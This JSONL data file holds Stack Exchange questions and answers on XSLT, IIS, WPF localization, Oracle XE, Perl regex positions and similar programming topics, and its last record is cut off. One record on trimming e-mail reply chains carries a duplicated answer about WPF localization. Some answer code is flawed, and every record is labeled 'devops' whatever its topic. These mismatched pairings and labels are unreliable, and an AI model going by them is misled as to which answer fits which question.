{"id": "hf_099dcfc65d48", "question": "<p>I have a simple xml document that looks like the following snippet. I need to write a XSLT transform that basically 'unpivots' this document based on some of the attributes.</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\" ?&gt;\n&lt;root xmlns:z=\"foo\"&gt;\n    &lt;z:row A=\"1\" X=\"2\" Y=\"n1\" Z=\"500\"/&gt;\n    &lt;z:row A=\"2\" X=\"5\" Y=\"n2\" Z=\"1500\"/&gt;\n&lt;/root&gt;\n</code></pre>\n\n<p>This is what I expect the output to be -</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\" ?&gt;\n&lt;root xmlns:z=\"foo\"&gt;\n    &lt;z:row A=\"1\" X=\"2\"  /&gt;\n    &lt;z:row A=\"1\" Y=\"n1\" /&gt;\n    &lt;z:row A=\"1\" Z=\"500\"/&gt;\n    &lt;z:row A=\"2\" X=\"5\" /&gt;\n    &lt;z:row A=\"2\" Y=\"n2\"/&gt;\n    &lt;z:row A=\"2\" Z=\"1500\"/&gt;\n&lt;/root&gt;\n</code></pre>\n\n<p>Appreciate your help.</p>\n", "question_body": "", "answer": "Here is a bit of a brute force way:\n```\n```\n<xsl:template match=\"z:row\">\n    <xsl:element name=\"z:row\">\n        <xsl:attribute name=\"A\">\n            <xsl:value-of select=\"@A\"/>\n        </xsl:attribute>\n        <xsl:attribute name=\"X\">\n            <xsl:value-of select=\"@X\"/>\n        </xsl:attribute>\n    </xsl:element>\n    <xsl:element name=\"z:row\">\n        <xsl:attribute name=\"A\">\n            <xsl:value-of select=\"@A\"/>\n        </xsl:attribute>\n        <xsl:attribute name=\"Y\">\n            <xsl:value-of select=\"@Y\"/>\n        </xsl:attribute>\n    </xsl:element>\n    <xsl:element name=\"z:row\">\n        <xsl:attribute name=\"A\">\n            <xsl:value-of select=\"@A\"/>\n        </xsl:attribute>\n        <xsl:attribute name=\"Z\">\n            <xsl:value-of select=\"@Z\"/>\n        </xsl:attribute>\n    </xsl:element>\n</xsl:template>\n\n<xsl:template match=\"@* | node()\">\n    <xsl:copy>\n        <xsl:apply-templates select=\"@* | node()\"/>\n    </xsl:copy>\n</xsl:template>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.218507"}
{"id": "hf_1640a6568498", "question": "<p>Unix.....>>netstat -al | grep 8787 (will see packets on port 8787)</p>\n", "question_body": "", "answer": "What is the nature of the question here? Are you trying to see packets on port 8787? Are you looking for services listening on port 8787? Most importantly, how is this a programming-related question?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.255263"}
{"id": "hf_cc57745872bc", "question": "<p>I have an application with multiple &quot;pick list&quot; entities, such as used to populate choices of dropdown selection boxes. These entities need to be stored in the database. How do one persist these entities in the database?</p>\n<p>Should I create a new table for each pick list?  Is there a better solution?</p>\n", "question_body": "", "answer": "Depending on your needs, you can just have an options table that has a list identifier and a list value as the primary key.\n```\n```\nselect optionDesc from Options where 'MyList' = optionList\n```\n```\nYou can then extend it with an order column, etc. If you have an ID field, that is how you can reference your answers back... of if it is often changing, you can just copy the answer value to the answer table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.331124"}
{"id": "hf_89e241b1f16a", "question": "<p>Where can I download the JSSE and JCE source code for the latest release of Java?  The source build available at <a href=\"https://jdk6.dev.java.net/\" rel=\"noreferrer\">https://jdk6.dev.java.net/</a> does not include the javax.crypto (JCE) packages nor the com.sun.net.ssl.internal (JSSE) packages.</p>\n\n<p>Not being able to debug these classes makes solving SSL issues incredibly difficult.</p>\n", "question_body": "", "answer": "there:\nopenjdk javax.net\nin the security group\n```\n```\nsrc/share/classes/javax/net\nsrc/share/classes/com/sun/net/ssl\nsrc/share/classes/sun/security/ssl\nsrc/share/classes/sun/net/www/protocol/https\n```\n```\nalso on this page:\n```\n```\nsrc/share/classes/javax/crypto\nsrc/share/classes/com/sun/crypto/provider\nsrc/share/classes/sun/security/pkcs11\nsrc/share/classes/sun/security/mscapi\n```\n```\nThese directories contain the core\n  cryptography framework and three\n  providers (SunJCE, SunPKCS11,\n  SunMSCAPI).\nSunJCE\ncontains Java\n  implementations of many popular\n  algorithms, and the latter two\n  libraries allow calls made through the\n  standard Java cryptography APIs to be\n  routed into their respective native\n  libraries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.401980"}
{"id": "hf_efaef856cab6", "question": "<p>I've setup a new .net 2.0 website on IIS 7 under Win Server 2k8 and when browsing to a page it gives me a 404.17 error, claiming that the file (default.aspx in this case) appears to be a script but is being handled by the static file handler.  It SOUNDS like the module mappings for ASP.Net got messed up, but they look fine in the configurations.  Does anyone have a suggestion for correcting this error?</p>\n", "question_body": "", "answer": "I had this problem on IIS6 one time when somehow the ASP.NET ISAPI stuff was broke.\nRunning\n```\n```\n%windir%\\Microsoft.NET\\Framework\\v2.0.50727\\aspnet_regiis.exe -i\n```\n```\nto recreate the settings took care of it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.474943"}
{"id": "hf_8265e516a929", "question": "<p>I had data in XML  that had line feeds, spaces, and tabs that I wanted to preserve in the output HTML (so I couldn't  use &lt;p&gt;) but I also wanted the lines to wrap when the side of the screen  was reached (so I couldn't use &lt;pre&gt;).</p>\n", "question_body": "", "answer": "I and a co-worker (Patricia Eromosele) came up with the following solution:  (Is there a better solution?)\n```\n<p>\n<xsl:call-template name=\"prewrap\">\n<xsl:with-param name=\"text\" select=\"text\"/>\n</xsl:call-template>\n</p>\n<xsl:template name=\"prewrap\">\n<xsl:param name=\"text\" select=\".\"/>\n<xsl:variable name=\"spaceIndex\" select=\"string-length(substring-before($text, '  '))\"/>\n<xsl:variable name=\"tabIndex\" select=\"string-length(substring-before($text, '&#x09;'))\"/>\n<xsl:variable name=\"lineFeedIndex\" select=\"string-length(substring-before($text, '&#xA;'))\"/>\n<xsl:choose>\n<xsl:when test=\"$spaceIndex = 0 and $tabIndex = 0 and $lineFeedIndex = 0\"><!-- no special characters left -->\n<xsl:value-of select=\"$text\"/>\n</xsl:when>\n<xsl:when test=\"$spaceIndex > $tabIndex and $lineFeedIndex > $tabIndex\"><!-- tab -->\n<xsl:value-of select=\"substring-before($text, '&#x09;')\"/>\n<xsl:text disable-output-escaping=\"yes\">&amp;nbsp;</xsl:text>\n<xsl:text disable-output-escaping=\"yes\">&amp;nbsp;</xsl:text>\n<xsl:text disable-output-escaping=\"yes\">&amp;nbsp;</xsl:text>\n<xsl:text disable-output-escaping=\"yes\">&amp;nbsp;</xsl:text>\n<xsl:call-template name=\"prewrap\">\n<xsl:with-param name=\"text\" select=\"substring-after($text,'&#x09;')\"/>\n</xsl:call-template>\n</xsl:when>\n<xsl:when test=\"$spaceIndex > $lineFeedIndex and $tabIndex > $lineFeedIndex\"><!-- line feed -->\n<xsl:value-of select=\"substring-before($text, '&#xA;')\"/>\n<br/>\n<xsl:call-template name=\"prewrap\">\n<xsl:with-param name=\"text\" select=\"substring-after($text,'&#xA;')\"/>\n</xsl:call-template>\n</xsl:when>\n<xsl:when test=\"$lineFeedIndex > $spaceIndex and $tabIndex > $spaceIndex\"><!-- two spaces -->\n<xsl:value-of select=\"substring-before($text, '  ')\"/>\n<xsl:text disable-output-escaping=\"yes\">&amp;nbsp;</xsl:text>\n<xsl:text disable-output-escaping=\"yes\">&amp;nbsp;</xsl:text>\n<xsl:call-template name=\"prewrap\">\n<xsl:with-param name=\"text\" select=\"substring-after($text,'  ')\"/>\n</xsl:call-template>\n</xsl:when>\n<xsl:otherwise><!-- should never happen -->\n<xsl:value-of select=\"$text\"/>\n</xsl:otherwise>\n</xsl:choose>\n</xsl:template>\n```\nSource:\nhttp://jamesjava.blogspot.com/2008/06/xsl-preserving-line-feeds-tabs-and.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.534276"}
{"id": "hf_62a0be1ef8f4", "question": "<p>There seems to be no good way to localize a WPF application.  MSDN seems to think that littering my XAML with <code>x:Uid</code>'s, generating CSV files, and then generating new assemblies (using their sample code!) is the answer.  Worse, this process doesn't address how to localize images, binary blobs (say, PDF files), or strings that are embedded in code.</p>\n\n<p>So, how might you localize an application that:</p>\n\n<ol>\n<li>Contains several assemblies</li>\n<li>Contains images and other binary blobs (eg: PDF docs) that need to be localized</li>\n<li>Has string data that isn't in XAML (eg: <code>MessageBox.Show(\"Hello World\");</code>)</li>\n</ol>\n", "question_body": "", "answer": "Not an expert here, but \"littering\" your xaml with x:Uids is not worse than \"littering\" your Windows Forms code with all the string table nonsense you have to do for localizing them.\nAs far as I understand, WPF apps still support \"all the Framework CLR resources including string tables, images, and so forth.\" which means you can have localized resources.\nOf course, it would be much simpler if you created a markup extension that handled much of this nonsense for you.\nYou can find an example of someone doing this here.\nAnd there was another, similar solution at\n```\nhttp://blog.taggersoft.com/2008/07/wpf-application-localization-pattern_29.html\n```\n, but that link no longer works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.570895"}
{"id": "hf_c5deb381041c", "question": "<p>Does anyone know of a .NET library that will process HTML e-mails and can be used to trim out the reply-chain?  It needs to be able to accept HTML -or- text mails and then trim out everything but the actual response, removing the trail of messages that are not original content.  I don't expect it to be able to handle responseswhen they're interleaved into the previous mail (\"responses in-line\") - that case can fail.</p>\n\n<p>We have a home-built one based on SgmlReader and a series of XSL transforms, but it requires constant maintenance to deal with new e-mail clients.  I'd like to find one I can buy... :)</p>\n\n<p>Thanks,\nSteve</p>\n", "question_body": "", "answer": "Not an expert here, but \"littering\" your xaml with x:Uids is not worse than \"littering\" your Windows Forms code with all the string table nonsense you have to do for localizing them.\nAs far as I understand, WPF apps still support \"all the Framework CLR resources including string tables, images, and so forth.\" which means you can have localized resources.\nOf course, it would be much simpler if you created a markup extension that handled much of this nonsense for you.\nYou can find an example of someone doing this here.\nAnd there was another, similar solution at\n```\nhttp://blog.taggersoft.com/2008/07/wpf-application-localization-pattern_29.html\n```\n, but that link no longer works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.594484"}
{"id": "hf_9f37598562ff", "question": "<p>After reading <a href=\"http://www.colder.ch/news/08-24-2007/28/late-static-bindings-expl.html\" rel=\"noreferrer\">this description</a> of late static binding (LSB) I see pretty clearly what is going on. Now, under which sorts of circumstances might that be most useful or needed?</p>\n", "question_body": "", "answer": "I needed LSB this for the following scenario:\nImagine you're building a \"mail processor\" daemon that downloads the message from an email server, classifies it, parses it, saves it, and then does something, depending on the type of the message.\nClass hierarchy: you have a base Message class, with children \"BouncedMessage\" and \"AcceptedMessage\".\nEach of the message types has its own way to persist itself on disk. For example, all messages of type BouncedMessage try to save itself as BouncedMessage-id.xml. AcceptedMessage, on the other hand, needs to save itself differently - as AcceptedMessage-timestamp.xml. The important thing here is that the logic for determining the filename pattern is different for different subclasses, but\nshared\nfor all items within the subclass. That's why it makes sense for it to be in a static method.\nBase Message class has an abstract static method (yes, abstract\nAND\nstatic) \"save\". BouncedMessage implements this method with a concrete static method. Then, inside the class that actually retrieves the message, you can call \"::save()\"\nIf you want to learn more about the subject:\nhttp://www.qcodo.com/forums/topic.php/2356\nhttp://community.livejournal.com/php/585907.html\nhttp://bugs.php.net/bug.php?id=42681", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.618275"}
{"id": "hf_eede1b3d1807", "question": "<p>It is obviosly some Perl extensions. Perl version is 5.8.8.</p>\n\n<p>I found Error.pm, but now I'm looking for Core.pm. </p>\n\n<p>While we're at it: how do you guys search for those modules. I tried Google, but that didn't help much. Thanks.</p>\n\n<hr>\n\n<p>And finally, after I built everything, running: </p>\n\n<pre><code>./Build install\n</code></pre>\n\n<p>gives me:</p>\n\n<pre><code>Running make install-lib \n/bin/ginstall -c -d /usr/lib/perl5/site_perl/5.8.8/i486-linux-thread-multi/Alien/SVN --prefix=/usr\n/bin/ginstall: unrecognized option `--prefix=/usr'\nTry `/bin/ginstall --help' for more information.\nmake: *** [install-fsmod-lib] Error 1\ninstalling libs failed at inc/My/SVN/Builder.pm line 165.\n</code></pre>\n\n<p>Looks like Slackware's 'ginstall' really does not have that option. I think I'm going to Google a little bit now, to see how to get around this.</p>\n", "question_body": "", "answer": "It should be compatible. The\nCPAN Tester's matrix\nshows no failures for Perl 5.8.8 on any platform.\nPer the\nREADME\n, you can install it by doing:\n```\n```\nperl Makefile.pl\nmake\nmake test\nmake install\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.701180"}
{"id": "hf_feb421a8145a", "question": "<p>default is 49</p>\n\n<p>how to edit to higher?</p>\n", "question_body": "", "answer": "You will need to issue the following command (connected as a user that has alter system privileges, sys will do it)\nalter system set sessions=\nnumberofsessions\nscope=spfile;\nHave you been getting an ORA-12516 or ORA-12520 error?\nIf so it's probably a good idea to increase the number of processes too\nalter system set processes=\nnumberofprocesses\nscope=spfile;\nIIRC you'll need to bounce the database after issuing these commands.\nThis link\nhttp://www.oracle.com/technology/tech/php/pdf/underground-php-oracle-manual.pdf\nhas some good information about configuring XE.\nI consulted it when I ran into similar issues using XE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.725705"}
{"id": "hf_5f33e4c19cb8", "question": "<p>I need to find the frequency of a sample, stored (in vb) as an array of byte. Sample is a sine wave, known frequency, so I can check), but the numbers are a bit odd, and my maths-foo is weak. \nFull range of values 0-255. 99% of numbers are in range 235 to 245, but there are some outliers down to 0 and 1, and up to 255 in the remaining 1%.\nHow do I normalise this to remove outliers, (calculating the 235-245 interval as it may change with different samples), and how do I then calculate zero-crossings to get the frequency?\nApologies if this description is rubbish!</p>\n", "question_body": "", "answer": "Use the Fourier transform, it's much more noise insensitive than counting zero crossings\nEdit: @WaveyDavey\nI found an F# library to do an FFT:\nFrom here\nAs it turns out, the best free\nimplementation that I've found for F#\nusers so far is still the fantastic\nFFTW library. Their site has a\nprecompiled Windows DLL. I've written\nminimal bindings that allow\nthread-safe access to FFTW from F#,\nwith both guru and simple interfaces.\nPerformance is excellent, 32-bit\nWindows XP Pro is only up to 35%\nslower than 64-bit Linux.\nNow I'm sure you can call F# lib from VB.net, C# etc, that should be in their docs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.760839"}
{"id": "hf_afdb86f09927", "question": "<p>Although I don't have an iPhone to test this out, my colleague told me that embedded\nmedia files such as the one in the snippet below, only works when the iphone is connected over the\nWLAN connection or 3G, and does not work when connecting via GPRS.</p>\n\n<pre><code>&lt;html&gt;&lt;body&gt;\n&lt;object data=\"http://joliclic.free.fr/html/object-tag/en/data/test.mp3\" type=\"audio/mpeg\"&gt;\n   &lt;p&gt;alternate text&lt;/p&gt;\n&lt;/object&gt;\n&lt;/body&gt;&lt;/html&gt;\n</code></pre>\n\n<p>Is there an example URL with a media file, that will play in an iPhone browser \nwhen the iphone connects using GPRS (not 3G)?</p>\n", "question_body": "", "answer": "I wasn't aware of that limitation.  Although it does make sense to disable potentially data-hefty OBJECT or EMBED tags when on the cellular data service for which your provider may be charging by the byte, if that were the reason it wouldn't make sense that it would still work on 3G and only not on GPRS.\nPerhaps the problem is one of basic data throughput?  Not having an iPhone yourself (or myself) makes it difficult to test your colleague's statement.\nRemember that GPRS is much slower than Wi-Fi or 3G.  According to Wikipedia, GPRS will provide between 56 and 114 kbps of total duplex throughput, not all of which is in the download direction.  You can already see that's not fast enough to instantly stream a typical 128 kbps mp3, even if you were getting the optimal throughput and getting it all as download speed.\nLooking at\nthis forum discussion\nas an example that came up on Google, the GPRS customers (the ones not using Telestra, which is an EDGE provider in that area) are getting around 40 kbps.  So if as the question implies, you're stuck in EDGEland, NOT 3Gland or anything inbetween, it's going to take about 20 seconds of buffering to play a 30 second mp3.  And when you use a behaviour-ambiguous tag like OBJECT or EMBED, there's no guarantee in how the browser will interpret it and whether it's going to try to intelligently stream the file rather than having to download the whole thing before starting it.\nSo, it's quite possible your colleague just didn't wait long enough to see if whatever embedded media he chose as a test started to play (assuming he wasn't using your 17KB test mp3 there).  It's also possible that the iPhone does indeed have this limitation, though I'd think Google would be more forthcoming with it than my quick search uncovered, since people have been vocal enough with other things they don't like about iPhone.  Another possibility would be that it's a limitation in the build of Safari that currently ships with the iPhone which might be changed in future versions or in another browser.\nUltimately though, the question is, what kind of user experience do you really want?  Embedded audio on GPRS is going to take a long time to load, and users aren't going to enjoy the experience, or potentially even experience it at all if it's supposed to start playing on page visit and it doesn't load before they navigate away.  It might not be a goal worth striving towards in that case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.784935"}
{"id": "hf_546f02eb0ded", "question": "<p>What's a good algorithm for calculating frames per second in a game? I want to show it as a number in the corner of the screen. If I just look at how long it took to render the last frame the number changes too fast.</p>\n\n<p>Bonus points if your answer updates each frame and doesn't converge differently when the frame rate is increasing vs decreasing.</p>\n", "question_body": "", "answer": "You need a smoothed average, the easiest way is to take the current answer (the time to draw the last frame) and combine it with the previous answer.\n```\n```\n// eg.\nfloat smoothing = 0.9; // larger=more smoothing\nmeasurement = (measurement * smoothing) + (current * (1.0-smoothing))\n```\n```\nBy adjusting the 0.9 / 0.1 ratio you can change the 'time constant' - that is how quickly the number responds to changes. A larger fraction in favour of the old answer gives a slower smoother change, a large fraction in favour of the new answer gives a quicker changing value.   Obviously the two factors must add to one!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.845556"}
{"id": "hf_cfa37d931350", "question": "<p>I need to get a list of attribute values from child elements in Python.</p>\n\n<p>It's easiest to explain with an example.</p>\n\n<p>Given some XML like this:</p>\n\n<pre><code>&lt;elements&gt;\n    &lt;parent name=\"CategoryA\"&gt;\n        &lt;child value=\"a1\"/&gt;\n        &lt;child value=\"a2\"/&gt;\n        &lt;child value=\"a3\"/&gt;\n    &lt;/parent&gt;\n    &lt;parent name=\"CategoryB\"&gt;\n        &lt;child value=\"b1\"/&gt;\n        &lt;child value=\"b2\"/&gt;\n        &lt;child value=\"b3\"/&gt;\n    &lt;/parent&gt;\n&lt;/elements&gt;\n</code></pre>\n\n<p>I want to be able to do something like:</p>\n\n\n\n<pre class=\"lang-python prettyprint-override\"><code>&gt;&gt;&gt; getValues(\"CategoryA\")\n['a1', 'a2', 'a3']\n&gt;&gt;&gt; getValues(\"CategoryB\")\n['b1', 'b2', 'b3']\n</code></pre>\n\n<p>It looks like a job for XPath but I'm open to all recommendations. I'd also like to hear about your favourite Python XML libraries.</p>\n", "question_body": "", "answer": "I must admit I'm a fan of\nxmltramp\ndue to its ease of use.\nAccessing the above becomes:\n```\n```\nimport xmltramp\n\n  values = xmltramp.parse('''...''')\n\n  def getValues( values, category ):\n    cat = [ parent for parent in values['parent':] if parent(name) == category ]\n    cat_values = [ child(value) for child in parent['child':] for parent in cat ]\n    return cat_values\n\n  getValues( values, \"CategoryA\" )\n  getValues( values, \"CategoryB\" )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.869347"}
{"id": "hf_450f55e2f28d", "question": "<p>I have a test project using MbUnit and TestDriven.Net.  </p>\n\n<p>If I right-click on an individual test method and say \"Run Tests\" the test runs successfully.  Same thing if I click on a file name in the solution explorer.  </p>\n\n<p>However, if I right click and say run tests on the project or the solution, TestDriven.Net reports \"0 Passed, 0 Failed, 0 Skipped.\"</p>\n\n<p>I have other similar projects that work just fine, and yes, the classes are labeled [TestFixture] and the methods are labeled [Test].</p>\n", "question_body": "", "answer": "You need to add testing attributes for your favorite testing framework.  TestDriven picks up these attributes by reflection in order to know what tests to run.\nFor example, using NUnit.Framework - each test class needs [TextFixture] and each test method needs [Test]\nHere's an\nexample", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.917749"}
{"id": "hf_4cba9d2096f5", "question": "<p>Are there any good resources for planning how exceptions will be used from an architecture perspective?  (Or provide your suggestions directly here.)  In projects on which I have worked I find that a few common Exceptions are used over and over again and tend to lose their meaning.\nFrom: <a href=\"http://jamesjava.blogspot.com/2007/10/exception-plan.html\" rel=\"noreferrer\">http://jamesjava.blogspot.com/2007/10/exception-plan.html</a></p>\n", "question_body": "", "answer": "\"Effective Java,\" 2nd. ed. Bloch\n, has some good advice in chapter 9.\n\"Hardcore Java,\" Simmons\n, has some good advice in chapter 5.\nI'll also shamelessly mention that I've written\na small tool\nto manage Java exception source code. Exception code is often very redundant, all that you usually care about is the type. My tool accepts a configuration file that names exception types, then generates code for those exceptions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:57.953010"}
{"id": "hf_681b90abcf51", "question": "<p>I need to write a function that receives a string and a regex. I need to check if there is a match and return the start and end location of a match. (The regex was already compiled by <code>qr//</code>.)</p>\n\n<p>The function might also receive a \"global\" flag and then I need to return the (start,end) pairs of all the matches.</p>\n\n<p>I cannot change the regex, not even add <code>()</code> around it as the user might use <code>()</code> and <code>\\1</code>. Maybe I can use <code>(?:)</code>.</p>\n\n<p>Example: given \"ababab\" and the regex <code>qr/ab/</code>, in the global case I need to get back 3 pairs of (start, end).</p>\n", "question_body": "", "answer": "The pos function gives you the position of the match. If you put your regex in parentheses you can get the length (and thus the end) using\n```\nlength $1\n```\n.  Like this\n```\n```\nsub match_positions {\n    my ($regex, $string) = @_;\n    return if not $string =~ /($regex)/;\n    return (pos($string) - length $1, pos($string));\n}\nsub all_match_positions {\n    my ($regex, $string) = @_;\n    my @ret;\n    while ($string =~ /($regex)/g) {\n        push @ret, [pos($string) - length $1, pos($string)];\n    }\n    return @ret\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.025087"}
{"id": "hf_026ab229efe2", "question": "<p>After compiling a simple C++ project using Visual Studio 2008 on vista, everything runs fine on the original vista machine and other vista computers. However, moving it over to an XP box results in an error message: \"The application failed to start because the application configuration is incorrect\".</p>\n\n<p>What do I have to do so my compiled EXE works on XP and Vista? I had this same problem a few months ago, and just fiddling with some settings on the project fixed it, but I don't remember which ones I changed.</p>\n", "question_body": "", "answer": "You need to install the runtime redistributable files onto the machine you are trying to run the app on.\nThe redistributable for 2008 is\nhere\n.\nThe redistributable for 2005 is\nhere\n.\nThey can be installed side-by-side, in case you need both.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.073386"}
{"id": "hf_3ab887b36672", "question": "<p>I have a class with many embedded assets. </p>\n\n<p>Within the class, I would like to get the class definition of an asset by name.  I have tried using getDefinitionByName(), and also ApplicationDomain.currentDomain.getDefinition() but neither work.</p>\n\n<p>Example:</p>\n\n<pre><code>public class MyClass\n{\n  [Embed(source=\"images/image1.png\")] private static var Image1Class:Class;\n  [Embed(source=\"images/image2.png\")] private static var Image2Class:Class;\n  [Embed(source=\"images/image3.png\")] private static var Image3Class:Class;\n\n  private var _image:Bitmap;\n\n  public function MyClass(name:String)\n  {\n    var ClassDef:Class = getDefinitionByName(name) as Class;  //&lt;&lt;-- Fails\n    _image = new ClassDef() as Bitmap;    \n  }\n}\n\nvar cls:MyClass = new MyClass(\"Image1Class\");\n</code></pre>\n", "question_body": "", "answer": "This doesn't answer your question, but it may solve your problem.  I believe doing something like this should work:\n```\n```\npublic class MyClass\n{\n  [Embed(source=\"images/image1.png\")] private static var Image1Class:Class;\n  [Embed(source=\"images/image2.png\")] private static var Image2Class:Class;\n  [Embed(source=\"images/image3.png\")] private static var Image3Class:Class;\n\n  private var _image:Bitmap;\n\n  public function MyClass(name:String)\n  {\n    _image = new this[name]() as Bitmap;    \n  }\n}\n\nvar cls:MyClass = new MyClass(\"Image1Class\");\n```\n```\nI'm having a tough time remembering if bracket notation works on sealed classes.  If it doesn't, a simple solution is to mark the class as dynamic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.266635"}
{"id": "hf_50bd9f89d38a", "question": "<p>Continuing my problem from yesterday, the Silverlight datagrid I have from this <a href=\"https://stackoverflow.com/questions/74461/silverlight-datagrid-control-selection-changed-event-interfering-with-sorting\">issue</a>\nis now causing Stack Overflow errors when sorting a column with a large amount of data (Like the text column that contains a where clause for a SQL statment).  When you sort, it'll fire the SelectedIndexChanged event for the datagrid and then still try to stort.  If you click the header again the stack overflow occours.  </p>\n\n<p>Does anyone have an idea on how to stop the sorting on this control for a column?  All the other columns sort fine (but still fire that darn SelectedIndexChanged event), but if I could shut off the column for whereClause it'd be perfect.</p>\n\n<p>Does anyone have a better idea at how to get this to work?</p>\n", "question_body": "", "answer": "Give this a shot:\n```\n```\ndataGridView1.Columns[*Numberofthecolumnyoudontwantsorted*].SortMode\n= DataGridViewColumnSortMode.NotSortable;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:58.315777"}
{"id": "hf_2cc99ff42a6d", "question": "<p>I need to know if it is possible to dynamically bind a textbox residing within a datarepeater to a 'dynamically' created BindingSource.  I am using VB.net.  The database I am using is a MySQL database.  </p>\n\n<p>I have to use the connection dynamically due to the fact that the database my not permanently reside on the same server.</p>\n\n<p>[edit]<br>\nok, so it seams that I am a dolt when asking questions.  The app that I am making is not web based.  it is a simple (I hope) app that connects to a MySQL database, accesses a table so I can edit/view it.  Current setup is using the Add DataSource wizard.  I have successfully connected to the dbase dynamically using the mysql connector dll but without the textboxes set at design time to a datasource, I am unsure on how to 'link' them via the datarepeater.</p>\n", "question_body": "", "answer": "Your connection string should be defined in your Web.Config, and if you move your database to a different server, it's just a matter of modifying the web.config entry. As long as you keep the connection string name the same, the BindingSource object will pick up the new value from the config.\nedit\nIn truth, the same concept should apply here as it does in the web app answer listed above.\nAll of your data objects should be hard-coded, and it's just the connection string (which you'll have to either ask the user for, or push out as update when the DB moves) which will get modified.\nFor example, create a App.Config file in your project. Have one of your configuration values  be the connection string. This config value will be where you go to get the connection string whenever you need it. Then your wizard will be there to allow users to easily modify the connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 